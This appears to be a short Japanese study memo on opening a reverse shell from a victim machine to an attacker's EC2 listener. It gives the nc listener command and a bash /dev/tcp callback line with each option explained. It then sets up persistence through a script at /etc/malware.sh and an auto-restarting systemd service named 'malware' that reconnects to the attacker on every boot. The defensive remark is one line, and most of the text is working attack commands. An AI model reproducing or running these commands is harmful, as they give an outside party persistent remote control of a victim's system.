準備
攻撃側の仮想マシンでncコマンドが必要
EC2作成する
sgとして8000番ポート開ける(この番号である必要はない攻撃用のポートが空いてればいい)
実施
攻撃者側(EC2)
#指定したポート番号で待ち受け状態
nc -vnlp 8000
- オプション説明
v 詳細な出力
l リスニング
n 名前解決無効
p ポート
被害者側(ローカル)
#シェルの入力と出力をリモートサーバーへのTCP接続にリダイレクトする
bash -i >& /dev/tcp/<EC2のIP>/8000 0>&1
- bash: 新しいBashシェルを起動する
- i:シェルを対話型にし、ユーザーがコマンドを入力できるようにする。
- >&:標準出力(stdout)と標準エラー(stderr)の両方を指定された場所にリダイレクトする。
- /dev/tcp//8000: stdoutとstderrをリダイレクトする場所を指定する。この場合、8000番ポートのIPアドレスのリモートサーバへのTCP接続にリダイレクトされます。
- 0>&1:標準入力(stdin)をstdoutとstderrと同じ場所にリダイレクトし、ユーザーが同じTCP接続を通じてコマンドを入力できるようにします。
するとEC2側からローカルの情報が見放題・・・おそろしや
発展
本攻撃の対処
被害者側で接続を切ろうとしても既にリモートホスト(攻撃者側)に接続されているためリモートホスト側でプロセスを終了する必要があるはず
だから被害者側の対処としてはシェルそのものを終了させればいい、GUIならバツボタン
攻撃者の発展
相手の環境にファイルを作ることも可能なのでサービスとして下記シェルスクリプトを実行するものを作り自動起動にすればシェルが起動するたびに攻撃者にソケットを接続しに来る
①シェルスクリプト作成
vi /etc/malware.sh
#!/bin/bash
bash -i >& /dev/tcp/3<ec2のip>/8000 0>&1
②サービスファイル作成
vi /etc/systemd/system/malware.service
[Unit]
Description=malware
[Service]
ExecStart=/bin/bash /etc/malware.sh
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
③あとは自動起動すれば攻撃準備OK
systemctl enable malware
こうすれば次回以降起動するたびに攻撃者のEC2に接続してくるようになる
ちなみにこれは接続しに行く動きなのでインバウンドのSGは機能しない